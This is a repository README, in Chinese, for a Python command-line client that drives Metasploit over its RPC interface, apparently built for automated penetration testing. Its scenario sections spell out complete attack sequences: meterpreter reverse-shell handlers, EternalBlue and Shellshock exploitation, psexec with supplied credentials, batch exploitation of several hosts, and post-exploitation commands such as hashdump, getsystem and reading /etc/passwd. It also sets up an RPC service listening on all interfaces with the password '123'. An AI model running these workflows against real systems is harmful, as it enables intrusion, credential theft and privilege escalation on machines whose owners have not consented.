# metasploit-cli-with-skill **Repository Path**: cutecuteyu/metasploit-cli-with-skill ## Basic Information - **Project Name**: metasploit-cli-with-skill - **Description**: metasploit-cli-with-skill - **Primary Language**: Python - **License**: MIT - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2026-03-28 - **Last Updated**: 2026-03-28 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # Mytest - Metasploit RPC 命令行客户端 通过 Metasploit Framework 的 MSFRPC 接口,以一次性命令行的方式远程执行 MSF 命令。 适用于自动化渗透测试、批量漏洞利用、远程 MSF 会话管理等场景。 --- ## 目录 - [环境要求](#环境要求) - [安装](#安装) - [编译为二进制](#编译为二进制) - [MSF 端配置](#msf-端配置) - [连接参数](#连接参数) - [命令总览](#命令总览) - [Console 会话生命周期](#console-会话生命周期) - [Shell 会话生命周期](#shell-会话生命周期) - [渗透测试场景示例](#渗透测试场景示例) - [CID 管理说明](#cid-管理说明) - [项目结构](#项目结构) --- ## 环境要求 - Python >= 3.13 - Metasploit Framework(运行在远程服务器上) - MSF RPC 服务已启动 --- ## 安装 ```bash # 克隆项目 git clone cd NEWTEST # 安装依赖(使用 uv) uv sync # 验证安装 uv run python cli.py -h ``` --- ## 编译为二进制 使用 PyInstaller 将项目编译为独立可执行文件,无需安装 Python 环境即可运行。 ### 编译步骤 ```bash # 1. 安装开发依赖(包含 pyinstaller) uv sync # 2. 执行编译 uv run pyinstaller --onefile --name cli cli.py ``` 编译完成后,二进制文件位于: ``` NEWTEST/ ├── dist/ │ └── cli.exe # 编译后的可执行文件(Windows) ├── build/ # 编译临时文件(可删除) └── cli.spec # PyInstaller 配置文件(可删除) ``` ### 清理编译产物 如果只需要保留可执行文件: ```bash rm -rf build/ cli.spec ``` ### 使用编译后的二进制 将 `dist/cli.exe` 复制到任意位置,直接运行: ```bash # 查看帮助 cli.exe -h # 或者 Windows 下直接 cli -h # 使用完整路径 .\dist\cli.exe generate-console ``` > **提示**:可以将 `dist` 目录加入系统 PATH 环境变量,这样在任何位置都可以直接使用 `cli` 命令。 ### 添加到系统 PATH #### Windows ```powershell # 方法一:临时添加(仅当前终端有效) $env:PATH = "C:\path\to\dist;$env:PATH" # 方法二:永久添加 # 右键"此电脑" → 属性 → 高级系统设置 → 环境变量 → 编辑 Path → 添加 dist 目录路径 ``` #### Linux/macOS ```bash # 复制到用户 bin 目录 cp dist/cli ~/.local/bin/cli chmod +x ~/.local/bin/cli # 或者添加软链接 ln -s /path/to/dist/cli /usr/local/bin/cli ``` 添加后即可在任意位置直接使用: ```bash cli generate-console cli exec-on-cid --cid 1 -c "show options" cli list-shell ``` ### 跨平台编译 PyInstaller 只能为当前操作系统编译。如需为其他平台编译: | 目标平台 | 编译环境 | |---|---| | Windows x64 | 在 Windows 上运行 pyinstaller | | Linux x64 | 在 Linux 上运行 pyinstaller | | macOS | 在 macOS 上运行 pyinstaller | ### 编译注意事项 - 编译后的二进制已包含所有 Python 依赖,目标机器无需安装 Python - 二进制文件体积较大(约 10-30 MB),这是因为打包了完整的 Python 运行时 - 每次修改源码后需要重新编译才能生效 - 如果遇到杀毒软件误报,可以将编译目录加入白名单 --- ## MSF 端配置 在使用本工具之前,需要先在运行 Metasploit 的服务器上启动 RPC 服务。 ### 方法一:手动加载 msgrpc 插件 在 msfconsole 中执行: ``` msf6 > load msgrpc ServerHost=0.0.0.0 ServerPort=55552 Pass=123 ``` ### 方法二:启动时自动加载 ```bash msfconsole -x "load msgrpc ServerHost=0.0.0.0 ServerPort=55552 Pass=123" ``` ### 参数说明 | 参数 | 说明 | 默认值 | |---|---|---| | `ServerHost` | RPC 监听地址 | `127.0.0.1`(建议改为 `0.0.0.0` 允许远程连接) | | `ServerPort` | RPC 监听端口 | `55552` | | `Pass` | RPC 认证密码 | 无(必须设置) | 启动成功后会看到类似输出: ``` [*] MSGRPC Service: 0.0.0.0:55552 [*] MSGRPC Username: msf [*] MSGRPC Password: 123 ``` --- ## 连接参数 本工具支持三种方式指定 MSF RPC 连接参数,优先级从高到低: 1. **命令行参数**(`--server`、`--port`、`--password`) 2. **环境变量**(`MSF_RPC_SERVER`、`MSF_RPC_PORT`、`MSF_RPC_PASSWORD`) 3. **默认值**(`192.168.101.104:55552`,密码 `123`) ### 命令行参数 所有子命令都支持以下全局参数: ```bash --server, -s <地址> MSF RPC 服务器地址 --port, -p <端口> MSF RPC 端口 --password,-P <密码> MSF RPC 密码 ``` ### 环境变量 ```bash # Linux/macOS export MSF_RPC_SERVER=192.168.101.104 export MSF_RPC_PORT=55552 export MSF_RPC_PASSWORD=123 # Windows PowerShell $env:MSF_RPC_SERVER = "192.168.101.104" $env:MSF_RPC_PORT = "55552" $env:MSF_RPC_PASSWORD = "123" ``` 设置环境变量后,执行命令时无需再指定连接参数: ```bash cli list-cid ``` --- ## 命令总览 | 子命令 | 说明 | 参数 | |---|---|---| | `generate-console` | 创建新的 console 会话,返回 cid | 无 | | `exec-on-cid` | 在指定 cid 的会话中执行命令 | `--cid`、`-c` | | `list-cid` | 列出所有已创建的 console 会话 | 无 | | `destroy-console` | 销毁指定的 console 会话 | `--cid` | | `list-shell` | 列出所有 meterpreter/shell 会话 | 无 | | `shell-exec` | 进入指定 shell 执行后渗透命令 | `--index`、`-c`、`--keep` | --- ## Console 会话生命周期 Console 是 Metasploit 中的交互式终端环境。所有 MSF 命令(`use`、`set`、`exploit` 等)都必须在 console 会话中执行。 ### 核心概念 - **cid (Console ID)**:每个 console 会话的唯一标识符 - **状态共享**:同一个 cid 中的多条命令共享上下文(例如 `use` 某个模块后可以直接 `set` 参数) - **资源占用**:每个 console 会话都会占用服务器资源,用完必须销毁 ### 标准流程 ``` ┌─────────────────────────────────────────────────────┐ │ 1. generate-console → 获取 cid │ │ 2. exec-on-cid → 执行命令(可多次调用) │ │ 3. destroy-console → 销毁会话,释放资源 │ └─────────────────────────────────────────────────────┘ ``` ### 第一步:创建会话 ```bash cli generate-console # 输出: 已生成 console 会话,cid: 1 ``` 记住输出的 cid 值,后续命令都需要使用它。 ### 第二步:执行命令 单条命令: ```bash cli exec-on-cid --cid 1 -c "show options" ``` 多条命令(按顺序在同一个会话中执行,共享状态): ```bash cli exec-on-cid --cid 1 \ -c "use exploit/multi/handler" \ -c "set PAYLOAD windows/meterpreter/reverse_tcp" \ -c "show options" ``` 多次调用(每次调用使用相同的 cid,状态保持连续): ```bash # 第一次调用:选择模块 cli exec-on-cid --cid 1 -c "use exploit/multi/handler" # 第二次调用:设置参数(上一步的 use 仍然生效) cli exec-on-cid --cid 1 \ -c "set PAYLOAD windows/meterpreter/reverse_tcp" \ -c "set LHOST 192.168.1.100" \ -c "set LPORT 4444" # 第三次调用:执行 cli exec-on-cid --cid 1 -c "exploit" ``` ### 第三步:销毁会话 任务完成后务必销毁会话,释放服务器资源: ```bash cli destroy-console --cid 1 ``` --- ## Shell 会话生命周期 Shell(session)是成功利用漏洞后获取的目标系统会话,包括 meterpreter 和普通 shell。 ### 标准流程 ``` ┌──────────────────────────────────────────────────────┐ │ 1. list-shell → 查看当前可用的 shell 会话 │ │ 2. shell-exec → 选择目标 shell 执行后渗透命令 │ └──────────────────────────────────────────────────────┘ ``` ### 查看可用会话 ```bash cli list-shell # 输出: # 当前所有 shell 会话: # [0] id=1 type=meterpreter info=Windows... peer=192.168.1.50:49321 # [1] id=2 type=shell info=Linux... peer=10.0.0.5:52314 ``` 输出中的 `[0]`、`[1]` 就是索引号,用于 `shell-exec` 的 `--index` 参数。 ### 进入 Shell 执行命令 #### 不带 --keep(默认行为,执行完自动断开会话) ```bash cli shell-exec --index 0 -c "sysinfo" -c "getuid" -c "ipconfig" ``` > **注意**:不带 `--keep` 时,`shell-exec` 执行完毕后会自动停止该 shell 会话。如需再次操作,需重新通过 `exploit` 获取新会话。 #### 带 --keep(保持会话不断开,可多次执行命令) ```bash # 多次对同一会话执行命令,会话保持活跃 cli shell-exec --index 0 --keep -c "sysinfo" cli shell-exec --index 0 --keep -c "getpid" cli shell-exec --index 0 --keep -c "ps" ``` > **推荐**:需要多次对同一 shell 执行命令时,使用 `--keep` 参数保持会话活跃,避免每次执行后重新获取会话。 `--keep` 参数说明: - `--keep`:执行完毕后**不停止** shell 会话,会话保持活跃状态,可再次使用 `shell-exec --keep` 对同一会话执行更多命令 - 不加 `--keep`(默认):执行完毕后自动停止 shell 会话 - 不支持 `bg` 命令 --- ## 渗透测试场景示例 ### 场景一:使用 reverse_tcp 监听获取 Windows Meterpreter 会话 ```bash # 1. 创建 console 会话 cli generate-console # 输出: 已生成 console 会话,cid: 1 # 2. 配置监听器 cli exec-on-cid --cid 1 \ -c "use exploit/multi/handler" \ -c "set PAYLOAD windows/meterpreter/reverse_tcp" \ -c "set LHOST 192.168.1.100" \ -c "set LPORT 4444" \ -c "exploit -z" # 3. 等待目标执行 payload 上线后,查看 shell 会话 cli list-shell # 4. 进入 meterpreter 执行后渗透命令(使用 --keep 保持会话不断开) cli shell-exec --index 0 --keep \ -c "sysinfo" \ -c "getuid" \ -c "getpid" \ -c "ipconfig" \ -c "route" # 或不带 --keep,执行完毕后会话自动断开(适合一次性命令) # cli shell-exec --index 0 -c "sysinfo" -c "getuid" # 5. 清理 console 会话 cli destroy-console --cid 1 ``` ### 场景二:扫描目标并利用 SMB 漏洞(MS17-010) ```bash # 1. 创建 console 会话 cli generate-console # 2. 扫描目标是否存在 MS17-010 漏洞 cli exec-on-cid --cid 1 \ -c "use auxiliary/scanner/smb/smb_ms17_010" \ -c "set RHOSTS 192.168.1.0/24" \ -c "run" # 3. 发现目标后利用漏洞 cli exec-on-cid --cid 1 \ -c "use exploit/windows/smb/ms17_010_eternalblue" \ -c "set RHOSTS 192.168.1.50" \ -c "set LHOST 192.168.1.100" \ -c "set LPORT 4444" \ -c "exploit -z" # 4. 查看获取的会话 cli list-shell # 5. 后渗透操作(使用 --keep 保持会话) cli shell-exec --index 0 --keep \ -c "sysinfo" \ -c "getuid" \ -c "hashdump" \ -c "getsystem" # 或不带 --keep(执行完毕后会话自动断开) # cli shell-exec --index 0 -c "sysinfo" -c "getuid" # 6. 清理 cli destroy-console --cid 1 ``` ### 场景三:利用 Web 应用漏洞(PHP 反弹 shell) ```bash # 1. 创建 console 会话 cli generate-console # 2. 设置 PHP 反弹 shell 监听 cli exec-on-cid --cid 1 \ -c "use exploit/multi/handler" \ -c "set PAYLOAD php/meterpreter/reverse_tcp" \ -c "set LHOST 10.0.0.100" \ -c "set LPORT 8080" \ -c "exploit -z" # 3. 目标触发 payload 后查看会话 cli list-shell # 4. 后渗透(使用 --keep 保持会话) cli shell-exec --index 0 --keep \ -c "sysinfo" \ -c "getuid" \ -c "shell" \ -c "cat /etc/passwd" \ -c "ifconfig" # 或不带 --keep(执行完毕后会话自动断开) # cli shell-exec --index 0 -c "sysinfo" -c "getuid" # 5. 清理 cli destroy-console --cid 1 ``` ### 场景四:多目标批量利用 ```bash # 创建多个 console 会话并行操作多个目标 cli generate-console # cid: 1 → 目标 A cli generate-console # cid: 2 → 目标 B cli generate-console # cid: 3 → 目标 C # 在不同会话中分别执行不同的 exploit cli exec-on-cid --cid 1 \ -c "use exploit/windows/smb/psexec" \ -c "set RHOSTS 192.168.1.10" \ -c "set SMBUser admin" \ -c "set SMBPass Password123" \ -c "set LHOST 192.168.1.100" \ -c "exploit -z" cli exec-on-cid --cid 2 \ -c "use exploit/unix/ftp/vsftpd_234_backdoor" \ -c "set RHOSTS 192.168.1.20" \ -c "exploit -z" cli exec-on-cid --cid 3 \ -c "use exploit/linux/http/apache_mod_cgi_bash_env_exec" \ -c "set RHOSTS 192.168.1.30" \ -c "set TARGETURI /cgi-bin/test" \ -c "exploit -z" # 查看所有获取的 shell cli list-shell # 清理所有 console cli destroy-console --cid 1 cli destroy-console --cid 2 cli destroy-console --cid 3 ``` ### 场景五:信息收集与辅助模块 ```bash # 端口扫描 cli generate-console cli exec-on-cid --cid 1 \ -c "use auxiliary/scanner/portscan/tcp" \ -c "set RHOSTS 192.168.1.50" \ -c "set PORTS 1-1000" \ -c "run" cli destroy-console --cid 1 # SSH 版本探测 cli generate-console cli exec-on-cid --cid 2 \ -c "use auxiliary/scanner/ssh/ssh_version" \ -c "set RHOSTS 192.168.1.50" \ -c "run" cli destroy-console --cid 2 # SMB 枚举 cli generate-console cli exec-on-cid --cid 3 \ -c "use auxiliary/scanner/smb/smb_version" \ -c "set RHOSTS 192.168.1.0/24" \ -c "run" cli destroy-console --cid 3 ``` ### 场景六:后渗透 — 提权与信息窃取 ```bash # 假设已通过 list-shell 发现 meterpreter 会话 # 提权并收集信息(使用 --keep 保持会话) cli shell-exec --index 0 --keep \ -c "getsystem" \ -c "getuid" \ -c "hashdump" \ -c "sysinfo" # 另一个会话中进行网络探测(使用 --keep 保持会话) cli shell-exec --index 1 --keep \ -c "sysinfo" \ -c "route" \ -c "arp" \ -c "netstat -an" ``` --- ## CID 管理说明 ### 什么是 CID CID (Console ID) 是 Metasploit RPC 中每个 console 会话的唯一标识符。MSF 允许同时存在多个 console 会话,每个会话独立运行、互不干扰。 ### CID 生命周期 ``` ┌──────────────────────┐ │ MSF RPC Server │ │ │ generate-console │ cid=1 ┌─────┐ │ ───────────────► │ │新会话│ │ │ └──┬──┘ │ │ │ │ exec-on-cid │ cid=1 ┌──▼──┐ │ ───────────────► │ │执行中│ │ │ └──┬──┘ │ │ │ │ exec-on-cid │ cid=1 ┌──▼──┐ │ ───────────────► │ │执行中│ │ │ └──┬──┘ │ │ │ │ destroy-console │ cid=1 ┌──▼──┐ │ ───────────────► │ │已销毁│ │ │ └─────┘ │ └──────────────────────┘ ``` ### CID 最佳实践 1. **一个任务一个 cid**:每个独立的利用任务创建独立的 console 会话,避免状态混乱 2. **用完即销毁**:任务完成后立即调用 `destroy-console` 释放资源 3. **遗忘时查询**:如果忘记了当前可用的 cid,使用 `list-cid` 查看 4. **避免积累**:不要创建大量 console 而不销毁,会消耗 MSF 服务器内存 ### 多 CID 并行 本工具支持创建多个 console 会话并行工作: ```bash # 查看当前所有 console cli list-cid # 输出: # 当前所有 console 会话 cid: # - 1 # - 2 # - 3 # 在不同 cid 上执行不同任务 cli exec-on-cid --cid 1 -c "use exploit/xxx" ... cli exec-on-cid --cid 2 -c "use auxiliary/xxx" ... # 任务完成后分别销毁 cli destroy-console --cid 1 cli destroy-console --cid 2 cli destroy-console --cid 3 ``` ### 常见问题 **Q: 忘记了 cid 怎么办?** ```bash cli list-cid ``` **Q: 执行命令报错 "Invalid console" 怎么办?** 该 cid 对应的会话可能已被手动销毁或超时。重新创建: ```bash cli generate-console ``` **Q: 能否在不同的命令调用之间保持状态?** 可以。只要使用相同的 cid,多次调用 `exec-on-cid` 的状态是连续的。例如: ```bash # 第一次:选择模块 cli exec-on-cid --cid 1 -c "use exploit/multi/handler" # 第二次:设置参数(上一步的 use 仍然生效) cli exec-on-cid --cid 1 -c "set LHOST 192.168.1.100" ``` **Q: 长时间不操作 cid 会失效吗?** MSF 的 console 会话有超时机制。如果长时间不操作,会话可能被自动回收。建议: - 任务完成后立即执行并销毁 - 不要在两个命令之间间隔过长时间 --- ## 项目结构 ``` NEWTEST/ ├── cli.py # 程序入口,命令行参数解析与路由 ├── client.py # MSF RPC 客户端连接管理 ├── console.py # Console 会话管理(generate/exec/destroy) ├── shell.py # Shell 会话管理(list/exec) ├── pyproject.toml # 项目配置与依赖 ├── README.md # 使用说明 └── uv.lock # 依赖锁定文件 ```